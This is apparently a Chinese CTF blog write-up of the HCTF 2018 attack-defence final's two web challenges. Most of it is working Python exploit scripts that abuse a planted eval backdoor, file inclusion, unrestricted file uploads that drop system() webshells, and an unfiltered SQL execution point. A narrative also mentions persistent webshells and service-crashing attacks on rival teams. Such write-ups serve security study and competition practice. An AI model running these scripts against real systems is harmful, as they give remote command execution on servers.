HCTF 2018 Final

HCTF 2018 决赛 web题记录

Posted by Xiaoxi on December 31, 2018

HCTF 2018决赛

以Redbud参加了这次的HCTF 决赛。虽有遗憾,但总体也还不错。

HCTF 线下最吸引我的,就是运维可交流,能和运维出题人交流,还是很棒的。整场比赛出题团队确实也很努力,都很辛苦。

整个赛局,上半场打得还是很爽,虽然一开始web1的ssh密码给错了,导致10分钟才上线gamebox,但由于提前自己写了一个自动审计的小工具,很快就写出了第一个exp。不过,比赛环境不知道怎么回事,没办法通过system写马,调了很久。后面看到场上有人打一血了,就不得不先打了一波getflag。后面,才断断续续弄了个php型不死马苟着。

两天,整个赛场还是延续去年的各种down服务的状况。但由于今年改了赛制,被down的队伍无法被攻击,导致我们这边无法通过攻击拿分比较难受。而且,HCTF Web check一如既往的严苛,甚至有些不大符合正常开发的逻辑,在一些非预期的地方进行check,甚至其部分check功能中还夹带着攻击流量。不过,也能理解,或许出题人还是想对通防做限制吧,也算是一份努力。

第一天中午的时候打了一波down服务,成功把大部分打挂了,打得比较爽。后面,主办方突然通知前10轮,我们的服务都是挂的,被扣了2k分。。。然后,直接被打乱了备份策略,只能从最原始的环境进行恢复。估计这个时候,场上有各类打down脚本,导致修了半天都没修好,就下午4点多的时候勉强苟了几轮。

不得不说,北邮这次运维还是做的很棒的,他们下午修好以后,就没咋挂掉,每次都能拿到一波全场分。后面交流,他们好像找到了check流量,这是我们没做好的一点。

Web2 实现了一波守护型webshell,整体效果还是很符合预期,在守护的状态下,对方选手基本都无法删除我的马,还是很爽。

最后,拿了个全场第二,没拿第一还是比较可惜,希望下次能做到更好吧,补足与吸收这次比赛中的运维技巧。

Web1

源码:

https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/finalweb1/html

预留后门

路径config/emmm_version.php

<?php

$emmm_version="v1006";
$emmm_versiondate="233333";
$emmm_00O0o0OO0="95d4f8af44";
$emmm_weixin="close";
$emmm_apps="close";
$emmm_alifuwu="close";
@eval($_POST[ahahahhahaah]);
?>

简单内置一句话后门,直接利用

# coding:utf-8
from urllib import quote
from framework.function import *
from framework.flag import  *
import traceback
import requests


proxies = {
#{"http": "http://127.0.0.1:8080"},
}


def vulnerable_attack(target, target_port, cmd):
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    try:
        session = requests.Session()
        # echo shell_exec('ls');
        # paramsGet = {"moxiaoxi": "system('{cmd}');".format(cmd=cmd)}
        # response = session.get("http://{}:{}/webshell.php".format(target, target_port), params=paramsGet, headers=headers,timeout=timeout,proxies=proxies)
        paramsPOST = {"ahahahhahaah": "system('{cmd}');".format(cmd=cmd)}
        # print(paramsPOST)
        response = session.post("http://{}:{}/config/emmm_version.php".format(target, target_port), data=paramsPOST,
                                headers=headers, timeout=timeout, proxies=proxies)
        # print("Status code:   %i" % response.status_code)
        # print("Response body: %s" % response.content)
        res = response.content
        # before = "mo123h"
        # after = "<pre class='xdebug-var-dump' dir='ltr'>"
        # s = res[res.find(before)+len(before):res.find(after)]
        res = res.strip()
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"
    return res

img文件包含

存在文件包含利用点

if ($_GET['img']) {
    include($_GET['img']);
}

但这个框架下,必须登录才能利用。

这个点很坑,check貌似会检查这个点,不能直接删除,需要对应过滤!!!

exp如下:

# coding:utf-8
from urllib import quote
from framework.function import *
import traceback
import requests
import re
import random, string


proxies = {
     "http": "http://127.0.0.1:8080"
}


session = requests.Session()
salt = ''.join(random.sample(string.ascii_letters + string.digits, 5))

def read_code(user, target='192.168.100.100', port='5003'):
    paramsGet = {"0.23920582878486196": ""}
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
        "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept": "image/webp,image/apng,image/*,*/*;q=0.8"}
    response = session.get("http://{}:{}/function/emmm_code.php".format(target, port), params=paramsGet,
                           headers=headers, proxies=proxies)

    # print("Status code:   %i" % response.status_code)
    assert response.status_code == 200


def reg(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "reg"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "COL_Userpass": user, "code": "8888", "introducer": "",
                  "COL_Userproblem": "\x4f60\x81ea\x5df2\x7684\x751f\x65e5\xff1f", "COL_Useranswer": user,
                  "ip": "192.168.13.135", "Submit": "\x63d0\x4ea4\x6ce8\x518c", "source": "0", "lang": "cn",
                  "COL_Userpass2": user}
    headers = {"Origin": "http://{}:{}".format(target, port), "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
               "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Reg user:{} succ'.format(user))
        return



def login_user(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "login"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "Submit": "\x7acb\x5373\x767b\x5f55", "COL_Userpass": user,
                  "code": "8888", "lang": "cn"}
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0",
               "Referer": "http://{}:{}/client/user/?cn-login.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "DNT": "1",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Loggin user:{} succ'.format(user))
        return


def vulnerable_attack(target, target_port, cmd):
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    try:
        user = 'moxiaoxi' + salt
        read_code(user, target, target_port)
        reg(user,target, target_port)
        login_user(user, target, target_port)
        paramsGet = {"img": "/etc/passwd"}
        response = session.get("http://{}:{}/client/user/index.php".format(target, target_port), params=paramsGet, headers=headers,proxies=proxies)
        res = response.content.strip()
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"
    return res


filebox 任意文件上传

Emmm_filebox.php 文件可以任意文件上传,直接上传webshell

# coding:utf-8
from urllib import quote
from framework.function import *
import traceback
import requests
import random, string


proxies = {
    # "http": "http://127.0.0.1:8080"
}


session = requests.Session()

def read_code(user, target='192.168.100.100', port='5003'):
    paramsGet = {"0.23920582878486196": ""}
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
        "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept": "image/webp,image/apng,image/*,*/*;q=0.8"}
    response = session.get("http://{}:{}/function/emmm_code.php".format(target, port), params=paramsGet,
                           headers=headers)

    # print("Status code:   %i" % response.status_code)
    assert response.status_code == 200


def reg(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "reg"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "COL_Userpass": user, "code": "8888", "introducer": "",
                  "COL_Userproblem": "\x4f60\x81ea\x5df2\x7684\x751f\x65e5\xff1f", "COL_Useranswer": user,
                  "ip": "192.168.13.135", "Submit": "\x63d0\x4ea4\x6ce8\x518c", "source": "0", "lang": "cn",
                  "COL_Userpass2": user}
    headers = {"Origin": "http://{}:{}".format(target, port), "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
               "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Reg user:{} succ'.format(user))
        return



def login_user(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "login"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "Submit": "\x7acb\x5373\x767b\x5f55", "COL_Userpass": user,
                  "code": "8888", "lang": "cn"}
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0",
               "Referer": "http://{}:{}/client/user/?cn-login.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "DNT": "1",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Loggin user:{} succ'.format(user))
        return

def admin_login(target='192.168.100.100', port='5003'):

    paramsGet = {"emmm_admin":"login"}
    paramsPost = {"loginpass":"admin","Submit":"\x767b \x5f55","loginname":"admin","emmm_kouling":"12345"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://{target}:{port}/admin.php".format(target=target, port=port), data=paramsPost, params=paramsGet, headers=headers)

    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    assert response.status_code == 200
    if '/admin.php?emmm=admin' in response.text:
        print('Logging Adming Succ')
        return True


def vulnerable_attack(target, target_port, cmd):
    import re
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    salt = ''.join(random.sample(string.ascii_letters + string.digits, 5))
    try:
        user = 'moxiaoxi' + salt
        read_code(user, target, target_port)
        # reg(user)
        # login_user(user)
        admin_login(target, target_port)
        bd_path = '.moxiaoxi-{salt}.php'.format(salt=salt) # 随机的,不能覆盖写,每次新写都要不一样
        url = 'http://{target}:{target_port}/client/manage/emmm_filebox.php'.format(target=target, target_port=target_port)
        params = {
            "encode":"UTF-8","op":"save","code":"GFmNGU6xpvxTHdE9GVNMLjdGPv7ed9Xy6xpvxT","validation":"12345",
            "ncontent":"<?php system('{cmd}');?>".format(cmd=cmd), # shell
            "fename":"/home/team/workdir/skin/{bd_path}/.".format(bd_path=bd_path)
        }
        _cookie = {"PHPSESSID":"ugqv1gnb08pscrjr00s8hoqpkf"}
        _headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}

        res = session.get(url, params=params, cookies=_cookie, headers=_headers, proxies=proxies)
        # print res.text
        if not bd_path in res.text:
            dump_error("attack failed", target, "vulnerable attack")
            return False
        url2 = 'http://{target}:{target_port}/skin/{bd_path}'.format(target=target, target_port=target_port, bd_path=bd_path)
        res2 = session.get(url2, cookies=_cookie, headers=_headers, proxies=proxies)
        res = res2.content.strip()
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"
    return res

Emmm_play.class.php 文件上传

# coding:utf-8
from urllib import quote
from framework.function import *
import traceback
import requests
import re
import random, string


proxies = {
    # "http": "http://127.0.0.1:7890"
}


session = requests.Session()
salt = ''.join(random.sample(string.ascii_letters + string.digits, 5))

def read_code(user, target='192.168.100.100', port='5003'):
    paramsGet = {"0.23920582878486196": ""}
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
        "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept": "image/webp,image/apng,image/*,*/*;q=0.8"}
    response = session.get("http://{}:{}/function/emmm_code.php".format(target, port), params=paramsGet,
                           headers=headers, proxies=proxies)

    # print("Status code:   %i" % response.status_code)
    assert response.status_code == 200


def reg(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "reg"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "COL_Userpass": user, "code": "8888", "introducer": "",
                  "COL_Userproblem": "\x4f60\x81ea\x5df2\x7684\x751f\x65e5\xff1f", "COL_Useranswer": user,
                  "ip": "192.168.13.135", "Submit": "\x63d0\x4ea4\x6ce8\x518c", "source": "0", "lang": "cn",
                  "COL_Userpass2": user}
    headers = {"Origin": "http://{}:{}".format(target, port), "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
               "Referer": "http://{}:{}/client/user/?cn-reg.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Reg user:{} succ'.format(user))
        return



def login_user(user, target='192.168.100.100', port='5003'):
    paramsGet = {"emmm_cms": "login"}
    paramsPost = {"COL_Useremail": user + "@qq.com", "Submit": "\x7acb\x5373\x767b\x5f55", "COL_Userpass": user,
                  "code": "8888", "lang": "cn"}
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0",
               "Referer": "http://{}:{}/client/user/?cn-login.html".format(target, port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "DNT": "1",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/client/user/emmm_play.class.php".format(target, port), data=paramsPost,
                            params=paramsGet, headers=headers)
    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Loggin user:{} succ'.format(user))
        return

def login_user_a(target='192.168.100.100', port='5003'):

    paramsGet = {"emmm_cms":"login"}
    paramsPost = {"COL_Useremail":"a@a.com","Submit":"\x7acb\x5373\x767b\x5f55","COL_Userpass":"123456","code":"8888","lang":"cn"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://{target}:{target_port}/client/user/emmm_play.class.php".format(target=target, target_port=port), data=paramsPost, params=paramsGet, headers=headers, proxies=proxies)

    assert response.status_code == 200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '/client/user/' in response.content:
        print('Loggin user:{} succ'.format('a@a.com'))
        return



def admin_login(target='192.168.100.100', port='5003'):

    paramsGet = {"emmm_admin":"login"}
    paramsPost = {"loginpass":"admin","Submit":"\x767b \x5f55","loginname":"admin","emmm_kouling":"12345"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://{target}:{port}/admin.php".format(target=target, port=port), data=paramsPost, params=paramsGet, headers=headers)

    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    assert response.status_code == 200
    if '/admin.php?emmm=admin' in response.text:
        print('Logging Adming Succ')
        return True

def get_data(target, target_port):
    headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"}
    response = session.get("http://{target}:{target_port}/client/user/?cn-useredit.html".format(target=target, target_port=target_port), headers=headers, proxies=proxies, allow_redirects=False)

    # assert response.status_code == 200
    usercode = re.findall(r'type="hidden" name="usercode" value="([0-9a-zA-Z]*)"', response.text)
    password = re.findall(r'type="hidden" name="password" value="([0-9a-f]{16})"', response.text)
    if usercode and password:
        return (usercode[0], password[0])
    return ('', '')
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)



def vulnerable_attack(target, target_port, cmd):
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    try:
        user = 'moxiaoxi' + salt
        read_code(user, target, target_port)
        # reg(user)
        # login_user(user)
        # admin_login(target, target_port)
        login_user_a(target, target_port)
        usercode, password = get_data(target, target_port)
        url = 'http://{target}:{target_port}/client/user/emmm_play.class.php'.format(target=target, target_port=target_port)
        params = {
            "emmm_cms":"edit",
            "lang":"cn"
        }
        data = {
            "code":"8888",
            "COL_Userproblem":"\xe4\xbd\xa0\xe8\x87\xaa\xe5\xb7\xb2\xe7\x9a\x84\xe7\x94\x9f\xe6\x97\xa5\xef\xbc\x9f",
            "COL_Usertel":"1234567890",
            "COL_Userskype":"",
            "COL_Userpass2":"",
            "COL_Useradd":"",
            "COL_Userpass":"",
            "password": password,
            "COL_Useranswer":"123123",
            "Submit":"\xe6\x8f\x90\xe4\xba\xa4",
            "COL_Userqq":"",
            "usercode": usercode,
            "lang":"cn",
            "COL_Username": user + "@qq.com",
            "COL_Usertext":"",
            "COL_Useraliww":""
        }
        headers = {"Accept":"image/webp,image/apng,image/*,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Referer":"http://192.168.100.100:5009/client/user/","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}
        payload_name = '.moxiaoxi-{salt}.php'.format(salt=salt)
        payload_context = '<?php system("{cmd}");?>'.format(cmd=cmd)
        files = [('file', (payload_name, payload_context, 'application/octet-stream'))]
        response = session.post(url, data=data, files=files, params=params, headers=headers, proxies=proxies)
        if not '/client/user/?cn-useredit.html' in response.text:
            dump_error("attack failed", target, "vulnerable attack")
            return

        url2 = 'http://{target}:{target_port}/skin/{payload_name}'.format(target=target, target_port=target_port, payload_name=payload_name)
        response = requests.get(url2, headers=headers, proxies=proxies)
        res = response.content.strip()
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"

    return res


备份写shell

manage/emmm_bakgo.php中writefile中filename可以文件写入webshell

        function writefile($data, $method = 'w')
        {
            global $fsqlzip, $_POST;;
            $file = "{$_POST[filename]}_pg{$_POST[page]}.php";
            $fp = fopen("$_POST[dir]/$file", "$method");
            flock($fp, 2);
            fwrite($fp, $data);
        }

而且该函数参数可控,可利用。

任意sql注入

emmm_sql,php处存在sql注入

	$query = '';
	$sql = stripslashes($_POST['sql']);
	$sql = explode(';',$sql);
	foreach($sql as $op){
		$query = $db -> create($op,2);	
	}

create函数没有任何过滤

//创建表 and 执行SQL
	public function create($o = '',$u = 1){
		if($u == 1){
			$Query = mysql_query("create table ".$o);
		}elseif($u == 2){
			$Query = mysql_query($o,$this -> conn);
		}
		return $Query;
	}

这里直接输入sql语句,让其执行即可。

场上没怎么打,忙着修服务去了。。。

Web2

web2可以配.htaccess权限,比较好防御。

源码:

https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/finalweb2/www

内置后门

# coding:utf-8
from urllib import quote
from framework.function import *
from framework.flag import  *
import traceback
import requests


proxies = {
    # "http": "http://127.0.0.1:8080"
}


def vulnerable_attack(target, target_port, cmd):
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    try:
        session = requests.Session()
        paramsGet = {"along": "system('{}');".format(cmd)}
        headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                   "Cache-Control": "max-age=0", "Connection": "close",
                   "User-Agent": "Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/49.0.2623.109 Mobile/14A5335b Safari/601.1.46",
                   "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
        response = session.get("http://{}:{}//libraries/lithium/template/view/Compiler.php".format(target, target_port),
                               params=paramsGet, headers=headers)
        res = response.content.strip()
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"
    return res

文件上传

这里有个时间戳转换,需要注意一下

# coding:utf-8
from urllib import quote
from framework.function import *
import traceback
import requests
import random, string
import datetime
import time
import hashlib
import re


proxies = {}#{"http": "http://127.0.0.1:8080"}

session = requests.Session()

def reg(user, target, target_port):
    paramsPost = {"password": user, "username": user, "confirm_password": user}
    headers = {"Origin": "http://{}:{}".format(target,target_port), "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
               "Referer": "http://{}:{}/users/register".format(target,target_port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/users/register".format(target,target_port), data=paramsPost, headers=headers)
    assert response.status_code==200
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)

def login(user, target, target_port):
    paramsPost = {"password": user, "username": user}
    headers = {"Origin": "http://{}:{}".format(target,target_port), "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
               "Referer": "http://{}:{}/users/login".format(target,target_port), "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://{}:{}/users/login".format(target,target_port), data=paramsPost, headers=headers)

    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    if '我的漏洞' in response.content:
        print('login succ!')
        return True
    return False

def vulnerable_attack(target, target_port, cmd):
    """
    针对php 后门
    eval($_POST[333]);
    assert($_POST[333]);
    """
    try:
        salt = ''.join(random.sample(string.ascii_letters + string.digits, 5))
        user= 'moxiaoxi' + salt
        reg(user, target, target_port)
        login(user, target, target_port)

        paramsMultipart = [('file', ('wdwd.php', "<?php system('{cmd}');?>".format(cmd=cmd), 'application/octet-stream'))]
        headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","Cache-Control":"no-cache","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}
        response = session.post("http://{}:{}/users/editAvatar".format(target,target_port), files=paramsMultipart, headers=headers, proxies=proxies)
        # print response.text
        # print
        # datetime.datetime.strptime('Sun, 16 Dec 2018 02:42:39 GMT', '%a, %d %b %Y %X %Z') + datetime.timedelta(hours=8)
        tt = datetime.datetime.strptime(response.headers['Date'], '%a, %d %b %Y %X %Z') + datetime.timedelta(hours=8)
        ts = int(time.mktime(tt.timetuple()))
        filename = hashlib.md5(str(ts)).hexdigest() + '.php'
        url = 'http://{target}:{target_port}/uploads/{filename}'.format(target=target, target_port=target_port, filename=filename)
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36","Connection":"close","DNT":"1","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}
        response = session.get(url, headers=headers, proxies=proxies)
        res = response.content.strip()
        dump_info(url)
        if response.status_code==200:
            dump_info(res)
    except Exception, e:
        debug_print(traceback.format_exc())
        dump_error("attack failed", target, "vulnerable attack")
        res = "error"
    return res


其余没咋看了